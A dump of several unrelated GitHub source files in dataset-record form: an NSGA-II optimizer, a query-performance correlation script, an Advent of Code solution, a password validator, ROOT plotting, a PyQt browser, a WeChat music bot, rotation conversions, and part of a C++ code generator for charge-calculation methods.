cdf.user_turn(\"what is your favorite team\")\n    assert \"Barca\" not in cdf.system_turn()\n    cdf.user_turn(\"do you like soccer\")\n    assert \"Messi\" in cdf.system_turn()\n    cdf.user_turn(\"what is your favorite team\")\n    assert \"Barca\" in cdf.system_turn()\n    cdf.user_turn(\"talk about movies\")\n    assert \"Inception\" in cdf.system_turn()\n    cdf.user_turn(\"what is your favorite team\")\n    assert \"Barca\" not in cdf.system_turn()\n\n\ndef test_global_nlu_scores(cdf):\n    assert \"What's up\" in cdf.system_turn()\n    for _ in range(10):\n        cdf.user_turn(\"i like soccer and basketball\")\n        assert \"Messi\" in cdf.system_turn()\n\n\n\n","repo_name":"emora-chat/emora_stdm","sub_path":"emora_stdm/test_state_transition_dialogue_manager/test_global_transitions.py","file_name":"test_global_transitions.py","file_ext":"py","file_size_in_byte":2638,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"37"}
+{"seq_id":"17442598412","text":"# Program Name: NSGA-II.py\n# Description: This is a python implementation of Prof. Kalyanmoy Deb's popular NSGA-II algorithm\n# Author: Haris Ali Khan \n# Supervisor: Prof. Manoj Kumar Tiwari\n\n#Importing required modules\nimport math\nimport random\nimport matplotlib.pyplot as plt\n\n#First function to optimize  第一个优化函数\ndef function1(x):\n    value = -x**2\n    return value\n\n#Second function to optimize  第二个优化函数\ndef function2(x):\n    value = -(x-2)**2\n    return value\n\n\n# ---------------------------------------------------------\n# 工具函数\n#Function to find index of list  函数查找列表的索引\ndef index_of(a,list):\n    for i in range(0,len(list)):\n        if list[i] == a:\n            return i\n    return -1\n\n#Function to sort by values   函数按值排序\ndef sort_by_values(list1, values):\n    # sort_by_values(front, values1[:])\n    # list1 是索引值 values是function1_values[:] 也就是函数值\n    sorted_list = []\n    while(len(sorted_list)!=len(list1)):\n        # 如果这个函数值的最小值的索引是在索引数组里 那我们就把这个索引加上\n        if index_of(min(values),values) in list1:\n            sorted_list.append(index_of(min(values),values))\n        # 让当前最小值变为变为最大值\n        values[index_of(min(values),values)] = math.inf # 浮点正无穷大\n    return sorted_list\n# ---------------------------------------------------------\n\n\n\n#Function to carry out NSGA-II's fast non dominated sort  函数来执行NSGA-II的快速非支配排序\ndef fast_non_dominated_sort(values1, values2):\n# fast_non_dominated_sort(function1_values[:],function2_values[:])\n    S=[[] for i in range(0,len(values1))]\n    front = [[]]\n    n=[0 for i in range(0,len(values1))]\n    rank = [0 for i in range(0, len(values1))]\n\n    for p in range(0,len(values1)):\n        S[p]=[]\n        n[p]=0\n        for q in range(0, len(values1)):\n            if (values1[p] > values1[q] and values2[p] > values2[q]) or (values1[p] >= values1[q] and values2[p] > values2[q]) or (values1[p] > values1[q] and values2[p] >= values2[q]):\n                if q not in S[p]:\n                    S[p].append(q)\n            elif (values1[q] > values1[p] and values2[q] > values2[p]) or (values1[q] >= values1[p] and values2[q] > values2[p]) or (values1[q] > values1[p] and values2[q] >= values2[p]):\n                n[p] = n[p] + 1\n        if n[p]==0:\n            rank[p] = 0\n            if p not in front[0]:\n                front[0].append(p)\n\n    i = 0\n    while(front[i] != []):\n        # 当我们循环得到的Q仍然是空集合时，我们就退出\n        Q=[]\n        for p in front[i]:\n            for q in S[p]:\n                n[q] =n[q] - 1\n                if( n[q]==0):\n                    rank[q]=i+1\n                    if q not in Q:\n                        Q.append(q)\n        i = i+1\n        front.append(Q)\n    # del可以删除列表中指定位置的元素\n    # 删除最后一个空集合 返回的是\n    del front[len(front)-1]\n    # 返回的到底是什么 这个我依旧不太清楚\n    # 单纯从输出看得出 每一层的数据是父代种群中的值的索引\n    return front\n\n#Function to calculate crowding distance 函数来计算拥挤距离\ndef crowding_distance(values1, values2, front):\n    # 第一个函数 第二个函数 每一层的快速非支配\n    # crowding_distance(function1_values[:],function2_values[:],non_dominated_sorted_solution[i][:]\n    distance = [0 for i in range(0,len(front))]\n\n    sorted1 = sort_by_values(front, values1[:])\n    sorted2 = sort_by_values(front, values2[:])\n\n    distance[0] = 4444444444444444\n    distance[len(front) - 1] = 4444444444444444\n    for k in range(1,len(front)-1):\n        distance[k] = distance[k]+ (values1[sorted1[k+1]] - values2[sorted1[k-1]])/(max(values1)-min(values1))\n    for k in range(1,len(front)-1):\n        distance[k] = distance[k]+ (values1[sorted2[k+1]] - values2[sorted2[k-1]])/(max(values2)-min(values2))\n    return distance\n\n#Function to carry out the crossover  函数进行交叉\ndef crossover(a,b):\n    r=random.random()\n    if r>0.5:\n        return mutation((a+b)/2)\n    else:\n        return mutation((a-b)/2)\n\n#Function to carry out the mutation operator  函数执行变异算子\ndef mutation(solution):\n    mutation_prob = random.random()\n    if mutation_prob <1:\n        solution = min_x+(max_x-min_x)*random.random()\n    return solution\n\n#Main program starts here 主程序从这里开始\npop_size = 20\nmax_gen = 921   # 最大迭代次数\n\n#Initialization 初始化\nmin_x=-55\nmax_x=55\nsolution=[min_x+(max_x-min_x)*random.random() for i in range(0,pop_size)]\n\n# 上面是初始种群\n\ngen_no=0    # 迭代次数\nwhile(gen_no<max_gen):\n    # x的取值是唯一的 在后面我们放入了两个函数中 这就是多目标？ 一个变量 两个函数。。。。\n    function1_values = [function1(solution[i])for i in range(0,pop_size)]\n    function2_values = [function2(solution[i])for i in range(0,pop_size)]\n    # 得到对应的函数值\n    # 第一次快速非支配排序 得到的是list  对应参数是\n    non_dominated_sorted_solution = fast_non_dominated_sort(function1_values[:],function2_values[:])\n\n\n    print(\"The best front for Generation number \",gen_no, \" is\")\n    for valuez in non_dominated_sorted_solution[0]:\n        print(round(solution[valuez],3),end=\" \")\n    print(\"\\n\")\n\n    # 第一次拥挤距离值\n    crowding_distance_values=[]\n    for i in range(0,len(non_dominated_sorted_solution)):\n        crowding_distance_values.append(crowding_distance(function1_values[:],function2_values[:],non_dominated_sorted_solution[i][:]))\n    # 得到拥挤度可以干嘛？\n    # 说实话 我没看出来这次的拥挤度计算有什么用\n\n    # 子代\n    solution2 = solution[:]\n    #Generating offsprings  产生后代\n    # 也就是产生了子代\n    while(len(solution2)!=2*pop_size):\n        a1 = random.randint(0,pop_size-1)\n        b1 = random.randint(0,pop_size-1)\n        # 它是从父亲那里继承过来的 不是随机数\n        solution2.append(crossover(solution[a1],solution[b1]))\n\n    # 利用子代获得总种群\n    function1_values2 = [function1(solution2[i])for i in range(0,2*pop_size)]\n    function2_values2 = [function2(solution2[i])for i in range(0,2*pop_size)]\n\n    # 父代子代种群合并进行快速非支配排序\n    # 函数来执行NSGA-II的快速非支配排序\n    non_dominated_sorted_solution2 = fast_non_dominated_sort(function1_values2[:],function2_values2[:])\n\n    # 对每个非支配层 进行拥挤度计算\n    crowding_distance_values2=[]\n    for i in range(0,len(non_dominated_sorted_solution2)):\n        crowding_distance_values2.append(crowding_distance(function1_values2[:],function2_values2[:],non_dominated_sorted_solution2[i][:]))\n\n    # 新的种群 更具非支配关系和个体拥挤度 选取合适个体组成新的父代种群\n    new_solution= []\n    for i in range(0,len(non_dominated_sorted_solution2)):\n        # 遍历第二次快速非支配排序 也就是对快速非支配排序得到的每一层进行遍历\n        # 第二次快速非支配排序得到的是二维矩阵 这个是\n        non_dominated_sorted_solution2_1 = [index_of(non_dominated_sorted_solution2[i][j],non_dominated_sorted_solution2[i] ) for j in range(0,len(non_dominated_sorted_solution2[i]))]\n\n        front22 = sort_by_values(non_dominated_sorted_solution2_1[:], crowding_distance_values2[i][:])\n\n        front = [non_dominated_sorted_solution2[i][front22[j]] for j in range(0,len(non_dominated_sorted_solution2[i]))]\n\n        front.reverse()\n\n        for value in front:\n            new_solution.append(value)\n            if(len(new_solution)==pop_size):\n                break\n        if (len(new_solution) == pop_size):\n            break\n\n    solution = [solution2[i] for i in new_solution]\n    # 把新的种群当作父代 进行循环迭代\n    gen_no = gen_no + 1\n\n\n\n#Lets plot the final front now  现在让我们画出最后的前线\nfunction1 = [i * -1 for i in function1_values]\nfunction2 = [j * -1 for j in function2_values]\nplt.xlabel('Function 1', fontsize=15)\nplt.ylabel('Function 2', fontsize=15)\nplt.scatter(function1, function2)\nplt.show()\n","repo_name":"Liduoan/NSGA","sub_path":"NSGA II.1.1.py","file_name":"NSGA II.1.1.py","file_ext":"py","file_size_in_byte":8216,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"24426220391","text":"import sys\nimport numpy as np\nimport math\nimport pandas as pd\nfrom scipy import stats\n\nif len(sys.argv) < 5:\n    print('Needs 4 arguments - \\n1. TREC initial query based LM .res / reranked file (reranked by DRMM)\\n'\n          '2. TREC initial query .AP file\\n'\n          '3. res file path\\n'\n          '4. No. of top documents to be considered')\n    exit(0)\n\narg_res_file = sys.argv[1]\narg_ap_file = sys.argv[2]\narg_res_file_path = sys.argv[3]\narg_top_docs = int(sys.argv[4])\n\ntrec_power_Q = {}\n\n\ndef compute_power_law_trec(score_list, qid):\n    alpha_hat = 0\n    score_list = np.array(score_list).astype(np.float)\n    # print('score list : ', score_list)\n    # print('min of the score list : ', min(score_list))\n    for score in score_list:\n        alpha_hat += math.log(abs(score / min(score_list)))\n        # print(\"alpha_hat :\", alpha_hat)\n    alpha_hat = 1 + len(score_list) * pow(alpha_hat, -1)\n    # print(\"final alpha : \", alpha_hat)\n    trec_power_Q[qid] = round(alpha_hat, 4)\n    # print(\"TREC res file power dict : \", trec_power_Q)\n\n\ndef power_law_trec_query(trec_res_file, topdocs):\n    qid = \"\"\n    count = 0\n    per_query_score_list = []\n    fp = open(trec_res_file)\n    for line in fp.readlines():\n        parts = line.split('\\t')\n        if qid == \"\" or parts[0] == qid:\n            if count < topdocs:\n                qid = parts[0]\n                score = parts[3]\n                per_query_score_list.append(score)\n                count = count + 1\n        elif parts[0] != qid:\n            # print('query : ', qid, '\\t', per_query_score_list)\n            compute_power_law_trec(per_query_score_list, qid)\n            per_query_score_list = []\n            count = 0\n            qid = parts[0]\n            score = parts[3]\n            per_query_score_list.append(score)\n            count = count + 1\n    # print('query : ', qid, '\\t', per_query_score_list)\n    compute_power_law_trec(per_query_score_list, qid)\n\n\npower_law_trec_query(arg_res_file, arg_top_docs)\nprint(\"TREC res file power dict : \", trec_power_Q)\n\nfp = open(arg_ap_file)\nap_scores = []\nnqc_power_scores = []\nfor line in fp.readlines():\n    ap_scores.append(float(line.split('\\t')[1]))\nfor key in trec_power_Q:\n    nqc_power_scores.append(trec_power_Q[key])\n\nxranks = pd.Series(ap_scores).rank()\n# print(\"Rankings of X:\", xranks)\nyranks = pd.Series(nqc_power_scores).rank()\n# print(\"Rankings of Y:\", yranks)\nrho, _ = stats.spearmanr(ap_scores, nqc_power_scores)\nprint(\"\\nSpearman's Rank correlation:\", round(rho, 4))\n\ntau, _ = stats.kendalltau(ap_scores, nqc_power_scores)\nprint('Kendall Rank correlation: %.5f' % tau)","repo_name":"suchanadatta/QPP-NeuralIR-Models","sub_path":"QPP/qpp_power_law.py","file_name":"qpp_power_law.py","file_ext":"py","file_size_in_byte":2601,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"42007982481","text":"import re\nfrom aocd import data, submit\nlines = data.splitlines()\n\n\ndef p1(line):\n    a, b, c, d = map(int, re.split(r',|-', line))\n    if a <= c and d <= b:\n        return True\n    if c <= a and b <= d:\n        return True\n    return False\n\n\ndef p2(line):\n    a, b, c, d = map(int, re.split(r',|-', line))\n    if not (b < c or d < a):\n        return True\n    return False\n\n\ndef score(func):\n    score = 0\n    for line in lines:\n        res = func(line)\n        if res:\n            score += 1\n    return score\n\n\nsubmit(score(p1))  # p1\nsubmit(score(p2))  # p2\n","repo_name":"kapitalisman/adventofcode","sub_path":"2022/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"3516984830","text":"# Valida si un texto pasado cumple con los requisitos de una contraseña \n# fuerte.\n\nfrom ast import expr\nimport re\n\ndef es_contraseña_fuerte(contraseña):\n    \"\"\"Devuelve True si la contraseña cumple con los requistos:\n    8 o más caracteres, mayúsculas y minúsculas y al menos\n    un dígito.\"\"\"\n\n    contraseña = str(contraseña)\n    # Chequear si tiene... \n    lista_exp_reg = (r\"[\\S]{8,}\",   # al menos 8 caracteres.\n                     r\"[A-Z]+\",     # al menos una mayúscula.\n                     r\"[a-z]+\",     # al menos una minúscula.\n                     r\"[\\d]+\"       # al menos tiene un número.\n                    )\n    for exp_reg in lista_exp_reg:\n        if re.search(exp_reg, contraseña) == None:\n            return False\n    \n    return True\n\n\ncontraseña = input(\"Ingrese una contraseña: \")\nif es_contraseña_fuerte(contraseña):\n    print(\"La contraseña es fuerte.\")\nelse:\n    print(\"No es una contraseña fuerte.\")","repo_name":"agustincomolli/Python","sub_path":"Automatiza cosas aburridas/31-validador_contraseñas.py","file_name":"31-validador_contraseñas.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"36334387806","text":"from ROOT import *\n\n\nF_2MeV = TFile(\"/Users/Luc/Documents/Research/ScintillatorStudies/geant4sim/x_EdepDist2MeV.root\")\nH_2MeV = F_2MeV.Get('x_Edep')\nH_2MeV.Scale(1)\n\nF_40MeV = TFile(\"/Users/Luc/Documents/Research/ScintillatorStudies/geant4sim/x_EdepDist40MeV.root\")\nH_40MeV = F_40MeV.Get('x_Edep')\nH_40MeV.Scale(.01)\n\nH_Total = TH1F(\"x_Edep\",\"1D Energy Distribution in LYSO at MeV; Displacement from Incidence [mm]; Normalized Energy Deposited / Pixel Size\" , 60,0.,78.);\nH_Divide = TH1F(\"x_Edep\",\"1D Energy Distribution in LYSO at MeV; Displacement from Incidence [mm]; Normalized Energy Deposited / Pixel Size\" , 60,0.,78.);\n\nc1 = TCanvas(\"c_xEdepStack\",\"xEdepStack\",600,900)\npad1 = TPad(\"pad1\",\"pad1\",0,0.3,1,1)\npad1.SetBottomMargin(0)\npad1.Draw()\npad1.cd()\n\nH_Total.Add(H_2MeV)\nH_Total.Add(H_40MeV)\n\nH_Total.Draw()\nH_40MeV.Draw('same')\nH_2MeV.Draw('same')\n\nc1.cd()\npad2 = TPad(\"pad2\",\"pad2\",0,0,1,0.2)\npad2.SetTopMargin(0)\npad2.Draw()\npad2.cd()\n\nH_Divide.Add(H_40MeV)\nH_Divide.Add(H_2MeV,-1)\nH_Divide.Draw(\"ep\")\n\nc1.cd()\n\n\nraw_input(\"\")","repo_name":"llisi/Geant4SimulationStudies","sub_path":"Geant4Sim/PlottingScripts/Scripts/OldExamplesAndVersions/MakeStackedPlots.py","file_name":"MakeStackedPlots.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"74068254186","text":"import webbrowser\n\n\nclass Movie:\n    \"\"\"\n    Class representing a movie and its attributes.\n    \"\"\"\n    def __init__(self, movie_title, movie_storyline,\n                 poster_image, trailer_youtube):\n        # Movie title\n        self.title = movie_title\n\n        # Movie story line\n        self.storyline = movie_storyline\n\n        # Full url to online poster image\n        self.poster_image_url = poster_image\n\n        # Full url to youtube movie trailer\n        self.trailer_youtube_url = trailer_youtube\n\n    def show_trailer(self):\n        \"\"\"Open new browser and play the movie trailer\"\"\"\n        webbrowser.open(self.trailer_youtube_url)\n","repo_name":"eguerrero13/MovieTrailerWebsite","sub_path":"media.py","file_name":"media.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"21985429994","text":"import sys\n\n#importing Widgtes\nfrom PyQt5.QtWidgets import *\n\n#importing Engine Widgets\nfrom PyQt5.QtWebEngineWidgets import *\n\n#importing QtCore to use Qurl\nfrom PyQt5.QtCore import *\n\n#main window class (to create a window)-sub class of QMainWindow class\nclass Window(QMainWindow):\n\n    #defining constructor function\n    def __init__(self):\n        #creating connnection with parent class constructor\n        super(Window,self).__init__()\n\n        #---------------------adding browser-------------------\n        self.browser = QWebEngineView()\n\n        #setting url for browser, you can use any other url also\n        self.browser.setUrl(QUrl('http://radio.garden'))\n\n        #to display google search engine on our browser\n        self.setCentralWidget(self.browser)\n\n        #-------------------full screen mode------------------\n        #to display browser in full screen mode, you may comment below line if you don't want to open your browser in full screen mode\n        self.showMaximized()\n\n        #----------------------navbar-------------------------\n        #creating a navigation bar for the browser\n        navbar = QToolBar()\n        #adding created navbar\n        self.addToolBar(navbar)\n\n        #-----------------prev Button-----------------\n        #creating prev button\n        prevBtn = QAction('Prev',self)\n        #when triggered set connection \n        prevBtn.triggered.connect(self.browser.back)\n        # adding prev button to the navbar\n        navbar.addAction(prevBtn)\n\n        #-----------------next Button---------------\n        nextBtn = QAction('Next',self)\n        nextBtn.triggered.connect(self.browser.forward)\n        navbar.addAction(nextBtn)\n\n        #-----------refresh Button--------------------\n        refreshBtn = QAction('Refresh',self)\n        refreshBtn.triggered.connect(self.browser.reload)\n        navbar.addAction(refreshBtn)\n\n        #-----------home button----------------------\n        homeBtn = QAction('Home',self)\n        #when triggered call home method\n        homeBtn.triggered.connect(self.home)\n        navbar.addAction(homeBtn)\n\n        \n\n    #method to navigate back to home page\n    def home(self):\n        self.browser.setUrl(QUrl('http://radio.garden'))\n\n    #method to load the required url\n    def loadUrl(self):\n        #fetching entered url from searchBar\n        url = self.searchBar.text()\n        #loading url\n        self.browser.setUrl(QUrl(url))\n\n    #method to update the url\n    def updateUrl(self, url):\n        #changing the content(text) of searchBar\n        self.searchBar.setText(url.toString())\n\n\nMyApp = QApplication(sys.argv)\n\n#setting application name\nQApplication.setApplicationName('Radio')\n\n#creating window\nwindow = Window()\n\n#executing created app\nMyApp.exec_()\n","repo_name":"Amerlaceset/WhoAmi","sub_path":"WhoAmi-framework/core/lib/radio.py","file_name":"radio.py","file_ext":"py","file_size_in_byte":2757,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"40619638416","text":"import itchat\nimport os\n\nfrom NetEaseMusicApi import interact_select_song\n\n\nwith open('stop.mp3','w') as f:\n    pass\n\ndef close_music():\n    os.startfile('stop.mp3')\n\n@itchat.msg_register(itchat.content.TEXT)\ndef music_player(msg):\n    if msg['ToUserName'] != 'filehelper':\n        return\n    if msg['Text'] == 'schliessen':\n        close_music()\n        itchat.send('Musik hat geschlossen','filehelper')\n    if msg['Text'] == 'helfen':\n        itchat.send('Info bei Helfen','filehelper')\n    else:\n        itchat.send(interact_select_song(msg['Text']), 'filehelper')\n\nitchat.auto_login(True)\nitchat.send(' ', 'filehelper')\nitchat.run()","repo_name":"kaiyikang/LearnPython","sub_path":"WeChat自动回复/自动播放音乐.py","file_name":"自动播放音乐.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"29861005030","text":"from scipy.spatial.transform import Rotation as R\nimport cv2\nimport numpy as np\n\n\n# 四元数(q1,q2,q3,w)->欧拉角(x,y,z)\ndef quaterntion2euler(quaternion):\n    r = R.from_quat(quaternion)\n    euler = r.as_euler('xyz', degrees=True)\n    return euler\n\n\n# 四元数(q1,q2,q3,w)->旋转矩阵\ndef quaterntion2rotation(quaternion):\n    r = R.from_quat(quaternion)\n    rotation = r.as_matrix()\n    return rotation\n\n\n# 欧拉角(x,y,z)->四元数(q1,q2,q3,w)\ndef euler2quaternion(euler):\n    r = R.from_euler('xyz', euler, degrees=True)\n    quaternion = r.as_quat()\n    return quaternion\n\n\n# 欧拉角(x,y,z)->旋转矩阵\ndef euler2rotation(euler):\n    r = R.from_euler('xyz', euler, degrees=True)\n    rotation = r.as_matrix()\n    return rotation\n\n\n# 旋转矩阵->四元数(q1,q2,q3,w)\ndef rotation2quaternion(rotation):\n    r = R.from_matrix(rotation)\n    quaternion = r.as_quat()\n    return quaternion\n\n\n# 旋转矩阵->欧拉角(x,y,z)\ndef rotation2euler(rotation):\n    r = R.from_matrix(rotation)\n    euler = r.as_euler('xyz', degrees=True)\n    return euler\n\n\n# 旋转矩阵->旋转向量\ndef rotation2vector(rotation):\n    vector, j = cv2.Rodrigues(rotation)  # 当输入量为旋转矩阵时，自动返回旋转向量和雅可比矩阵\n    return vector\n\n\n# 旋转向量->旋转矩阵\ndef vector2rotation(vector):\n    rotation, j = cv2.Rodrigues(vector)  # 当输入量为旋转向量时，自动返回旋转矩阵和雅可比矩阵\n    return rotation\n\n\nif __name__ == \"__main__\":\n    # 测试代码\n    rotation = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]\n    euler = [0, 0, 0]\n    vector = np.array([0.2, 0.4, 0.6])\n    print(type(vector2rotation(vector)))\n    # print(rotation2quaternion(rotation))\n    # print(euler2rotation(euler))\n    print(vector2rotation(vector))\n    print(rotation2vector(vector2rotation(vector)))\n","repo_name":"wonderballRyan/2_robot","sub_path":"motion planning/python/1_translation_rotation.py","file_name":"1_translation_rotation.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"14023570852","text":"import os\nimport subprocess\nfrom typing import Set, Dict, Union, List, Optional, cast\n\nfrom ccl import ast, symboltable\nfrom ccl.types import *\nfrom ccl.functions import ELEMENT_PROPERTIES\n\n__all__ = ['Cpp']\n\nwith open(os.path.join(os.path.dirname(__file__), 'templates', 'method.h')) as template_f:\n    header_template = template_f.read()\n\nwith open(os.path.join(os.path.dirname(__file__), 'templates', 'method.cpp')) as template_f:\n    method_template = template_f.read()\n\nwith open(os.path.join(os.path.dirname(__file__), 'templates', 'CMakeLists.txt')) as template_f:\n    cmake_template = template_f.read()\n\nsys_include_template = '#include <{file}>'\n\nuser_include_template = '#include \"{file}\"'\n\nfor_template = '''\\\nfor (int {i} = {init}; {i} <= {to}; {i}++) {{\n    {code}\n}}\n'''\n\nconstraint_template = '''\\\nif ({constraint}) {{\n    {code}\n}}\n'''\n\nfor_each_template = '''\\\nfor (const auto &{name}: {objects}) {{\n    {atom_specs}\n    {code}\n}}\n'''\n\nsum_template = '''\\\ndouble {method_name}::sum_{number}({args}) const {{\n    double s = 0;\n    for (const auto &_{name}: {objects}) {{\n        {code}\n    }}\n    return s;\n}}\n'''\n\nsum_prototype = 'double sum_{number}({args}) const;'\n\nsubstitution_template = '''\\\ndouble {method_name}::{name}({args}) const {{\n    {code}\n}}\n'''\n\nsubstitution_prototype = 'double {name}({args}) const;'\n\nee_prototype = 'Eigen::VectorXd _EE_{number}({args}) const;'\n\nee_template = '''\\\nEigen::VectorXd {method_name}::_EE_{number}({args}) const {{\n    size_t n = atoms.size();\n    Eigen::MatrixXd A = Eigen::MatrixXd::Zero(n + 1, n + 1);\n    Eigen::VectorXd b = Eigen::VectorXd::Zero(n + 1);\n    \n    for (size_t i = 0; i < n; i++) {{\n        auto _{idx_row} = *atoms[i];\n        b(i) = {rhs};\n        for (size_t j = 0; j < n; j++) {{\n            auto _{idx_col} = *atoms[j];\n            if (i == j) {{\n                A({idx_row}, {idx_row}) = {diag};\n            }} else {{\n                A({idx_row}, {idx_col}) = {off};\n            }}\n        }}\n    }}\n    \n    b(n) = total_charge;\n    A.row(n) = Eigen::VectorXd::Constant(n + 1, 1.0);\n    A.col(n) = Eigen::VectorXd::Constant(n + 1, 1.0);\n    A(n, n) = 0.0;\n    \n    return A.partialPivLu().solve(b).head(n);\n}}\n'''\n\nfunctions = {\n    'electronegativity': 'electronegativity',\n    'covalent radius': 'covalent_radius',\n    'van der waals radius': 'vdw_radius',\n    'ionization potential': 'ionization_potential',\n    'electron affinity': 'electron_affinity',\n    'atomic number': 'Z',\n    'valence electron count': 'valence_electron_count',\n    'formal charge': 'formal_charge',\n    'bond order': 'order',\n    'distance': 'distance'\n}\n\ntypes = {\n            NumericType.INT: 'int',\n            NumericType.FLOAT: 'double',\n            ObjectType.ATOM: 'const Atom &',\n            ObjectType.BOND: 'const Bond &',\n        }\n\n\nclass Cpp(ast.ASTVisitor):\n    def __init__(self, symbol_table: symboltable.SymbolTable, **kwargs: Union[str, bool]) -> None:\n        self.symbol_table: symboltable.SymbolTable = symbol_table\n\n        self.output_dir: Optional[str] = cast(str, kwargs.get('output_dir', None))\n        self.format_code: bool = cast(bool, kwargs.get('format_code', True))\n\n        self.sys_includes: Set[str] = set()\n        self.user_includes: Set[str] = set()\n        self.var_definitions: Dict[str, str] = {'q': f'Eigen::VectorXd _q = Eigen::VectorXd::Zero(n);'}\n        self.method_name: str = ''\n\n        self.defs: List[str] = []\n        self.prototypes: List[str] = []\n        self.sum_count: int = 0\n        self.ee_count: int = 0\n        self.ee_lambda_defs: List[str] = []\n\n        self.required_features: Set[str] = set()\n\n        self.substitutions_needing_q: Set[str] = set()\n\n    def define_substitutions(self) -> None:\n        assert self.symbol_table.parent is not None\n        table = self.symbol_table.parent\n        for name, symbol in table.symbols.items():\n            if isinstance(symbol, symboltable.SubstitutionSymbol):\n                if not symbol.indices:\n                    args = ''\n                    expr = self.visit(symbol.rules[None])\n                    code = f'return {expr};'\n                else:\n                    # TODO handle bonds\n                    args = ','.join(('const Molecule &molecule',\n                                     *(f'const Atom &_{name.val}' for name in symbol.indices)))\n\n                    # Check whether we have to add q as an argument\n                    required_names: Set[str] = set()\n                    for cond, expr in symbol.rules.items():\n                        if cond is not None:\n                            required_names |= symboltable.NameGetter().visit(cond, self.symbol_table)\n                        required_names |= symboltable.NameGetter().visit(expr, self.symbol_table)\n\n                    if 'q' in required_names:\n                        self.substitutions_needing_q.add(name)\n                        args += ', const Eigen::VectorXd _q'\n\n                    if len(symbol.rules) == 1:\n                        expr = self.visit(symbol.rules[None])\n                        code = f'return {expr};'\n                    else:\n                        code = ''\n                        for cond, expr in symbol.rules.items():\n                            if cond is None:\n                                # Handle default case as the last one\n                                continue\n\n                            cond_str = self.visit(cond)\n                            expr_str = self.visit(expr)\n\n                            code += f'if ({cond_str}) {{ return {expr_str}; }} else '\n\n                        expr_str = self.visit(symbol.rules[None])\n\n                        code += f'{{ return {expr_str}; }}'\n\n                self.prototypes.append(substitution_prototype.format(name=name,\n                                                                     args=args))\n\n                self.defs.append(substitution_template.format(method_name=self.method_name,\n                                                              name=name,\n                                                              args=args,\n                                                              code=code))\n\n    def visit_Method(self, node: ast.Method) -> str:\n\n        self.method_name = node.name.capitalize()\n\n        self.define_substitutions()\n\n        code = []\n        for statement in node.statements:\n            code.append(self.visit(statement))\n\n        sys_includes = [sys_include_template.format(file=file) for file in self.sys_includes]\n        sys_include_str = '\\n'.join(sys_includes)\n\n        user_includes = [user_include_template.format(file=file) for file in self.user_includes]\n        user_include_str = '\\n'.join(user_includes)\n\n        code_str = '\\n'.join(code)\n\n        defs_str = '\\n'.join(self.defs)\n\n        prototypes_str = '\\n'.join(self.prototypes)\n\n        var_defs_str = '\\n'.join(var_def for var_def in self.var_definitions.values())\n\n        method = method_template.format(method_name=self.method_name,\n                                        sys_includes=sys_include_str,\n                                        user_includes=user_include_str,\n                                        defs=defs_str,\n                                        var_definitions=var_defs_str,\n                                        code=code_str)\n\n        atom_parameters = []\n        bond_parameters = []\n        common_parameters = []\n\n        assert self.symbol_table.parent is not None\n\n        for name, symbol in self.symbol_table.parent.symbols.items():\n            if isinstance(symbol, symboltable.ParameterSymbol):\n                if symbol.symbol_type == ParameterType.ATOM:\n                    atom_parameters.append(name)\n                elif symbol.symbol_type == ParameterType.BOND:\n                    bond_parameters.append(name)\n                else:\n                    common_parameters.append(name)\n\n        atom_parameters_enum_str = ''\n        atom_parameters_str = ''\n        bond_parameters_enum_str = ''\n        bond_parameters_str = ''\n        common_parameters_enum_str = ''\n        common_parameters_str = ''\n        if atom_parameters:\n            atom_parameters_enum_str = 'enum atom{{{ap_spec}}};'.format(ap_spec=', '.join(atom_parameters))\n            atom_parameters_str = ', '.join(f'\"{par}\"' for par in atom_parameters)\n\n        if bond_parameters:\n            bond_parameters_enum_str = 'enum bond{{{bp_spec}}};'.format(bp_spec=', '.join(bond_parameters))\n            bond_parameters_str = ', '.join(f'\"{par}\"' for par in bond_parameters)\n\n        if common_parameters:\n            common_parameters_enum_str = 'enum common{{{cp_spec}}};'.format(cp_spec=', '.join(common_parameters))\n            common_parameters_str = ', '.join(f'\"{par}\"' for par in common_parameters)\n\n        required_features_str = ', '.join(self.required_features)\n\n        method_type = 'EEMethod' if self.ee_count else 'Method'\n\n        header = header_template.format(method_name=node.name.capitalize(),\n                                        method_type=method_type,\n                                        common_parameters_enum=common_parameters_enum_str,\n                                        atom_parameters_enum=atom_parameters_enum_str,\n                                        bond_parameters_enum=bond_parameters_enum_str,\n                                        common_parameters=common_parameters_str,\n                                        atom_parameters=atom_parameters_str,\n                                        bond_parameters=bond_parameters_str,\n                                        prototypes=prototypes_str,\n                                        required_features=required_features_str)\n\n        if self.format_code:\n            args = ['clang-format', '-style={ColumnLimit: 120}']\n            p = subprocess.run(args, input=header.encode('ascii'), stdout=subprocess.PIPE)\n            header = p.stdout.decode('ascii')\n            p = subprocess.run(args, input=method.encode('ascii'), stdout=subprocess.PIPE)\n            method = p.stdout.decode('ascii')\n\n        if self.output_dir is not None:\n            with open(os.path.join(self.output_dir, 'ccl_method.cpp'), 'w') as f:\n                f.write(method)\n\n            with open(os.path.join(self.output_dir, 'ccl_method.h'), 'w') as f:\n                f.write(header)\n\n            with open(os.path.join(self.output_dir, 'CMakeLists.txt'), 'w') as f:\n                f.write(cmake_template.format(method_name=node.name))\n\n        return f'// ccl_method.h\\n\\n{header}\\n// ccl_method.cpp\\n\\n{method}'\n\n    def visit_Assign(self, node: ast.Assign) -> 